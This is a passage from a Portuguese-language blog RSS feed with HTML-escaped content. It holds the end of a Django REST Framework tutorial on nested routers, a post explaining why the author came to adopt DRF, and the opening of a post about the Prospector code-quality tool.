&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/api.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ItemViewSet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;viewsets&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ModelViewSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    serializer_class &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ItemSerializer

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_queryset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Item&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            channel&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;kwargs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;channel_pk&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note a sobrescrita do método &lt;code class=&quot;language-text&quot;&gt;get_queryset&lt;/code&gt;. O parâmetro &lt;code class=&quot;language-text&quot;&gt;channel_pk&lt;/code&gt; será passado para o &lt;code class=&quot;language-text&quot;&gt;ItemViewSet&lt;/code&gt; no momento
em que registrarmos a classe no &lt;code class=&quot;language-text&quot;&gt;Router&lt;/code&gt;. Com isso, de forma &quot;lazy&quot;, estamos dizendo que os items pesquisados
devem ser relacionados com o &lt;code class=&quot;language-text&quot;&gt;channel&lt;/code&gt; mencionado no &lt;em&gt;path&lt;/em&gt; do endereço acessado.&lt;/p&gt;
&lt;p&gt;De volta ao &lt;code class=&quot;language-text&quot;&gt;urls.py&lt;/code&gt;, atualizaremos o roteamento para ficar semelhante com o exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# urls.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; rest_framework_nested &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; routers

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; channels&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;api &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ChannelViewSet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ItemViewSet

api_router &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; routers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;DefaultRouter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
api_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;register&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&quot;channels&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ChannelViewSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

channels_router &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; routers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;NestedDefaultRouter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    api_router&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;r&quot;channels&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; lookup&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;channel&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
channels_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;register&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&quot;items&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ItemViewSet&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    basename&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;channel-items&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

urlpatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;api/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;api_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;api/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;channels_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos aos pontos de atenção:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Importamos &lt;code class=&quot;language-text&quot;&gt;routers&lt;/code&gt; de &lt;code class=&quot;language-text&quot;&gt;rest_framework_nested&lt;/code&gt;, e não mais de &lt;code class=&quot;language-text&quot;&gt;rest_framework&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Agora lidamos com duas instâncias de &lt;code class=&quot;language-text&quot;&gt;Router&lt;/code&gt;, a primeiro vindo de &lt;code class=&quot;language-text&quot;&gt;api_router = routers.DefaultRouter()&lt;/code&gt;,
e a segunda vindo de &lt;code class=&quot;language-text&quot;&gt;channels_router = routers.NestedDefaultRouter(api_router, r&quot;channels&quot;, lookup=&quot;channel&quot;)&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;DefaultRouter&lt;/code&gt; continua com o mesmo comportamento do exemplo anterior;&lt;/li&gt;
&lt;li&gt;Precisamos adicionar ao &lt;code class=&quot;language-text&quot;&gt;urlpatterns&lt;/code&gt; a instância de &lt;code class=&quot;language-text&quot;&gt;DefaultRouter&lt;/code&gt; e as instâncias de &lt;code class=&quot;language-text&quot;&gt;NestedDefaultRouter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;NestedDefaultRouter&lt;/code&gt; espera três parâmetros:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;parent_router&lt;/code&gt;: O &lt;code class=&quot;language-text&quot;&gt;Router&lt;/code&gt; &quot;pai&quot;, podendo ser um &lt;code class=&quot;language-text&quot;&gt;DefaultRouter&lt;/code&gt; ou até mesmo outro &lt;code class=&quot;language-text&quot;&gt;NestedDefaultRouter&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;parent_prefix&lt;/code&gt;: O prefixo de &lt;em&gt;URL&lt;/em&gt; no qual os recursos registrados passarão a ser articulados como sub recursos;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;lookup&lt;/code&gt;: É a partir dessa informação que a chave &lt;code class=&quot;language-text&quot;&gt;channel_pk&lt;/code&gt; é criada e passada para o &lt;em&gt;viewset&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aqui também, se você não quiser ter a visão de &lt;em&gt;browsable api&lt;/em&gt; habilitada, troque para o &lt;code class=&quot;language-text&quot;&gt;SimpleRouter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pronto! O recurso &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt; está disponível para as operações exibidas anteriormente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl http://localhost:8000/api/channels/1/items/

[{&quot;id&quot;:1,&quot;title&quot;:&quot;Eu me rendo: Django REST Framework&quot;,&quot;description&quot;:&quot;Confesso que nunca fui muito simpático ao Django REST Framework...&quot;,&quot;link&quot;:&quot;https://klauslaube.com.br/2020/02/06/eu-me-rendo-django-rest-framework.html&quot;,&quot;pub_date&quot;:&quot;2020-02-06T09:40:00Z&quot;,&quot;channel&quot;:1}]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;payload&lt;/em&gt; retorna uma chave &lt;code class=&quot;language-text&quot;&gt;channel&lt;/code&gt; para cada item. Uma vez que estamos falando de um &lt;em&gt;nested resource&lt;/em&gt;, não faz muito sentido retornarmos essa informação. A maneira mais prática de corrigirmos isso é alterando a classe serializadora:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/serializers.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ItemSerializer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;serializers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ModelSerializer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Meta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Item
        exclude &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;channel&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como queremos tudo, menos o &lt;code class=&quot;language-text&quot;&gt;channel&lt;/code&gt;, utilizamos a propriedade &lt;code class=&quot;language-text&quot;&gt;exclude&lt;/code&gt; ao invés de &lt;code class=&quot;language-text&quot;&gt;fields&lt;/code&gt;, e determinamos o que queremos excluir da resposta.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Há muito o que ser discutido ainda, como customização, autenticação, segurança, &lt;em&gt;HATEOAS&lt;/em&gt;, etc. Assuntos esses que pretendo abordar em &lt;em&gt;posts&lt;/em&gt; vindouros.&lt;/p&gt;
&lt;p&gt;Com o mínimo coberto no &lt;em&gt;getting started&lt;/em&gt; da documentação do &lt;em&gt;DRF&lt;/em&gt;, já é
possível termos algo &lt;em&gt;up &amp;#x26; running&lt;/em&gt;. Provar conceitos e discutir contratos
passou a ser muito menos custoso graças à biblioteca.&lt;/p&gt;
&lt;p&gt;Essa &quot;proximidade&quot; de conceitos como serializadores e &lt;em&gt;viewsets&lt;/em&gt;, com conceitos bem estabelecidos do &lt;em&gt;Django&lt;/em&gt; (como &lt;em&gt;forms&lt;/em&gt; e &lt;em&gt;class-based views&lt;/em&gt;) faz com que o atrito seja menor, e a curva de aprendizagem mais baixa. É quase natural compreender tais artefatos à primeira vista.&lt;/p&gt;
&lt;p&gt;Se o seu projeto é feito em &lt;em&gt;Django&lt;/em&gt;, e você necessita escrever &lt;em&gt;APIs&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;, não perca tempo e caia de cabeça no &lt;em&gt;REST Framework&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.django-rest-framework.org/tutorial/quickstart/&quot;&gt;Django REST Framework - Quickstart&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/RSS&quot;&gt;Wikipedia - RSS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Eu me rendo: Django REST Framework]]></title><description><![CDATA[Confesso que nunca fui muito simpático ao Django REST Framework. Antes de adotá-lo tive a oportunidade de explorar outras opções, como o…]]></description><link>https://klauslaube.com.br/2020/02/06/eu-me-rendo-django-rest-framework.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/02/06/eu-me-rendo-django-rest-framework.html</guid><pubDate>Thu, 06 Feb 2020 09:40:00 GMT</pubDate><content:encoded>&lt;p&gt;Confesso que nunca fui muito simpático ao &lt;a href=&quot;https://www.django-rest-framework.org/&quot; title=&quot;Visite a página oficial do projeto&quot;&gt;&lt;em&gt;Django REST Framework&lt;/em&gt;&lt;/a&gt;. Antes de adotá-lo tive a oportunidade de explorar outras opções, como o &lt;a href=&quot;/2017/01/06/construindo-apis-em-django-com-restless.html&quot; title=&quot;Leia mais sobre o Restless&quot;&gt;&lt;em&gt;Restless&lt;/em&gt;&lt;/a&gt;, e admito que sempre havia algo faltando, ou algum esforço extra necessário para obter alguma funcionalidade que já vinha embutida no &lt;a href=&quot;/tag/drf.html&quot; title=&quot;Leia mais sobre Django REST Framework&quot;&gt;&lt;em&gt;DRF&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Comecei a aceitar a sua natureza &quot;baterias inclusas&quot; após me distanciar do desenvolvimento &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;. Sob uma ótica diferente, compreendi o papel do &lt;em&gt;DRF&lt;/em&gt;, e fiz as pazes com esse sentimento de confiar em uma biblioteca (supostamente) complexa para construir &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;APIs&lt;/em&gt;&lt;/a&gt; (teoricamente) simples. Afinal, se &quot;ser bloated&quot; for um argumento decisivo, não escolheríamos &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; para escrever &lt;em&gt;APIs&lt;/em&gt; (principalmente em um contexto de microserviços).&lt;/p&gt;
&lt;h2&gt;Motivação&lt;/h2&gt;
&lt;p&gt;É claro que a minha atual simpatia pela ferramenta não se deve apenas ao fato de eu tê-la &quot;aceitado&quot;. Pura ignorância da minha parte não ter compreendido antes todos os aspectos positivos que o projeto possui, e todas as facilidades que ele proporciona aos seus usuários.&lt;/p&gt;
&lt;h3&gt;Patrocinado&lt;/h3&gt;
&lt;p&gt;O que faz do &lt;em&gt;REST Framework&lt;/em&gt; um projeto interessante é, para começo de conversa, que ele é financiado colaborativamente, com empresas do calibre de &lt;a href=&quot;https://getsentry.com/welcome/&quot; title=&quot;Conheça o Sentry&quot;&gt;&lt;em&gt;Sentry&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://www.digitalocean.com/&quot; title=&quot;Cloud sem complicação&quot;&gt;&lt;em&gt;DigitalOcean&lt;/em&gt;&lt;/a&gt; fazendo parte da lista de patrocinadores. Essa característica faz com que a biblioteca tenha um &lt;em&gt;long-term&lt;/em&gt; mais provável, uma vez que os esforços de desenvolvimento são financiados. Além disso, &lt;em&gt;releases&lt;/em&gt; são mais substanciais e frequentes.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fund.django-rest-framework.org/topics/funding/&quot; title=&quot;Veja mais em Funding&quot;&gt;Leia mais sobre como patrocinar o projeto&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Autenticação&lt;/h3&gt;
&lt;p&gt;Lidar com autenticação &quot;from scratch&quot; é no mínimo &lt;em&gt;error prone&lt;/em&gt;. O &lt;em&gt;framework&lt;/em&gt; já possui uma série de mecanismos de autenticação &lt;em&gt;built-in&lt;/em&gt; (como &lt;code class=&quot;language-text&quot;&gt;BasicAuthentication&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;SessionAuthentication&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;TokenAuthentication&lt;/code&gt;), e uma infinidade de integrações com &lt;em&gt;third parties&lt;/em&gt; (como &lt;a href=&quot;https://github.com/jazzband/django-oauth-toolkit&quot; title=&quot;Veja a página do projeto no GitHub&quot;&gt;django-oauth-toolkit&lt;/a&gt;, &lt;a href=&quot;https://github.com/davesque/django-rest-framework-simplejwt&quot; title=&quot;Biblioteca para adoção de JWT&quot;&gt;django-rest-framework-simplejwt&lt;/a&gt; e &lt;a href=&quot;https://github.com/sunscrapers/djoser&quot; title=&quot;Excelente opção de auth para APIs em Django&quot;&gt;djoser&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 590px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/49eeb3ceeb9248a95cd70ff9b2748f77/1c72d/never-give-up.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 72.39583333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDAQT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABRJdCaQK//8QAGhABAAIDAQAAAAAAAAAAAAAAAQADAhESIv/aAAgBAQABBQLfIPmV4NkKIM//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwEn/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQIBAT8BZ//EABgQAAIDAAAAAAAAAAAAAAAAAAARARAx/9oACAEBAAY/Ahupl4bX/8QAGhAAAwEAAwAAAAAAAAAAAAAAAAERMSFRcf/aAAgBAQABPyGdJ4cGtu1iwdoRUNaz2TUP/9oADAMBAAIAAwAAABD/AB//xAAWEQEBAQAAAAAAAAAAAAAAAAABABH/2gAIAQMBAT8QeQ3/xAAVEQEBAAAAAAAAAAAAAAAAAAAAIf/aAAgBAgEBPxClf//EABoQAQEBAQEBAQAAAAAAAAAAAAERIQAxUWH/2gAIAQEAAT8QRGx+t4ZJtLTdJ0RHOHxEIjtL3gygAs37y5vFO//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Never give up, never surrender&quot;
        title=&quot;Não há nada de errado em render-se de vez em quando (publishedtodeath.blogspot.com)&quot;
        src=&quot;/static/49eeb3ceeb9248a95cd70ff9b2748f77/1c72d/never-give-up.jpg&quot;
        srcset=&quot;/static/49eeb3ceeb9248a95cd70ff9b2748f77/7809d/never-give-up.jpg 192w,
/static/49eeb3ceeb9248a95cd70ff9b2748f77/4ecad/never-give-up.jpg 384w,
/static/49eeb3ceeb9248a95cd70ff9b2748f77/1c72d/never-give-up.jpg 590w&quot;
        sizes=&quot;(max-width: 590px) 100vw, 590px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não há nada de errado em render-se de vez em quando (publishedtodeath.blogspot.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A possibilidade de mesclar mecanismos num mesmo recurso permite que você tenha uma &lt;em&gt;API&lt;/em&gt; &lt;em&gt;session based&lt;/em&gt; para o seu &lt;em&gt;front-end&lt;/em&gt; em &lt;em&gt;React&lt;/em&gt; (por exemplo), e o mesmo recurso ser capaz de servir acessos utilizando &lt;em&gt;tokens&lt;/em&gt;, para um possível cliente &lt;em&gt;mobile&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.django-rest-framework.org/api-guide/authentication/&quot; title=&quot;Veja mais em Authentication&quot;&gt;Leia mais sobre autenticação&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;SQL &amp;#x26; NoSQL&lt;/h3&gt;
&lt;p&gt;Os serializadores são um aspecto muito interessante da biblioteca. Além do trabalho de &lt;em&gt;marshalling&lt;/em&gt;, eles também servem como validadores. Com o &lt;code class=&quot;language-text&quot;&gt;ModelSerializer&lt;/code&gt; todos os aspectos do seu modelo são &quot;traduzidos&quot; para a &lt;em&gt;API&lt;/em&gt;, no melhor estilo &lt;em&gt;Django Admin&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas existe também a possibilidade de escrita de seu própria classe serializadora ao herdar de &lt;code class=&quot;language-text&quot;&gt;serializers.Serializer&lt;/code&gt;. Isso traz flexibilidade para trabalhar com artefatos não relacionados com a &lt;em&gt;ORM&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E se &lt;em&gt;HATEOAS&lt;/em&gt; for a sua praia, o &lt;code class=&quot;language-text&quot;&gt;HyperlinkedModelSerializer&lt;/code&gt; promove &lt;em&gt;hyperlinks&lt;/em&gt; entre tais classes.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.django-rest-framework.org/api-guide/serializers/&quot; title=&quot;Veja mais em Serializers&quot;&gt;Leia mais sobre serialização&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Developer eXperience&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;APIs&lt;/em&gt; escritas com o &lt;em&gt;REST Framework&lt;/em&gt; ainda ganham a funcionalidade de &quot;web browsable API&quot;. Com isso é possível navegar pelas definições da sua &lt;em&gt;API&lt;/em&gt; (como &lt;em&gt;endpoints&lt;/em&gt;, formatos e métodos) e interagir com a mesma através de uma interface amigável, pronta para ser compartilhada com outros desenvolvedores interessados em consumir a sua solução.&lt;/p&gt;
&lt;p&gt;Uma outra opção é a geração de &lt;a href=&quot;/tag/swagger.html&quot; title=&quot;Leia mais sobre Swagger&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt; através do &lt;a href=&quot;https://django-rest-swagger.readthedocs.io/en/latest/&quot; title=&quot;Leia a documentação do projeto&quot;&gt;&lt;em&gt;Django REST Swagger&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://restframework.herokuapp.com/&quot; title=&quot;Visite a aplicação de exemplo da documentação oficial&quot;&gt;Veja a &lt;em&gt;browsable API&lt;/em&gt; em ação&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Praticidade&lt;/h3&gt;
&lt;p&gt;E meu argumento final é em torno de sua praticidade. Ter uma &lt;em&gt;API&lt;/em&gt; &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt; em &lt;em&gt;Django&lt;/em&gt;, com o &lt;em&gt;DRF&lt;/em&gt;, leva minutos...&lt;/p&gt;
&lt;p&gt;Algumas customizações poderão exigir um pouco mais de conhecimento da biblioteca, bem como um pouquinho de criatividade, mas nada que te impeça de proporcionar um serviço estável, bem escrito, e em baixíssimo tempo de desenvolvimento.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.django-rest-framework.org/api-guide/generic-views/#customizing-the-generic-views&quot; title=&quot;Veja mais em Customizing the generic views&quot;&gt;Leia mais sobre como customizar &lt;em&gt;views&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Talvez seja só devaneio, mas depois de trabalhar com &lt;em&gt;Spring Boot&lt;/em&gt; para construção de &lt;em&gt;APIs&lt;/em&gt; &lt;a href=&quot;/tag/java.html&quot; title=&quot;(não) leia mais sobre Java&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt; em um contexto de microserviços, foi que entendi o propósito do &lt;em&gt;REST Framework&lt;/em&gt;. Deixar de lado essa &quot;birra&quot; com ele (supostamente) ser grande serviu para poder enxergar as qualidades da ferramenta.&lt;/p&gt;
&lt;p&gt;Os pontos negativos ainda estão lá, e provavelmente você também vai achá-los quando estiver &quot;entrincheirado&quot; escrevendo a sua solução. Ainda assim, o &lt;em&gt;DRF&lt;/em&gt; deve ser considerado como possível escolha para escrita de suas &lt;em&gt;APIs&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;No próximo artigo falaremos de uma maneira prática sobre o &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até lá.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.django-rest-framework.org/&quot;&gt;Django REST Framework&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - Prospector]]></title><description><![CDATA[Mais um ano, mais um post sobre ferramentas de qualidade de código. Opções não faltam quando o assunto é Python, e elas são dos mais…]]></description><link>https://klauslaube.com.br/2020/01/21/assegure-qualidade-seu-codigo-python-prospector.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/01/21/assegure-qualidade-seu-codigo-python-prospector.html</guid><pubDate>Tue, 21 Jan 2020 16:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Mais um ano, mais um &lt;em&gt;post&lt;/em&gt; sobre &lt;a href=&quot;/tag/qualidade.html&quot; title=&quot;Leia mais sobre qualidade&quot;&gt;ferramentas de qualidade de código&lt;/a&gt;. Opções não faltam quando o assunto é &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, e elas são dos mais variados fins e complexidade. Com tanta opção, não seria interessante ter &quot;um anel para a todos governar&quot;?&lt;/p&gt;
